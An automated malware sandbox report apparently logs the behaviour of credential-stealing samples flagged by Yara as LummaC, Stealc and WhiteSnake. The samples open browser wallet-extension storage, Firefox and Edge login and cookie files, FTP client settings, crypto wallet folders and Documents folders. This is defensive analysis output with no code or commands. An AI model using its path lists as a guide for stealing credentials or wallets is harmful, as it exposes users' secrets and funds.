Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Searches for user specific document files
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 70bf1463df.exe PID: 6984, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: 384a543dd0.exe PID: 7480, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 70bf1463df.exe PID: 6984, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 35.2.num.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 35.0.num.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.e90585a72a.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000011.00000002.2707046066.000000000120E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.2829604332.0000000000ACE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000003.2665005403.0000000005030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.2812170564.0000000000D1E000.00000002.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.2832801090.0000000000D1E000.00000002.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.2811743651.0000000000D01000.00000080.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.2832117912.0000000000D01000.00000080.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2706006259.0000000000651000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: e90585a72a.exe PID: 3620, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected WhiteSnake Stealer
Source: Yara match File source: 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 6032, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
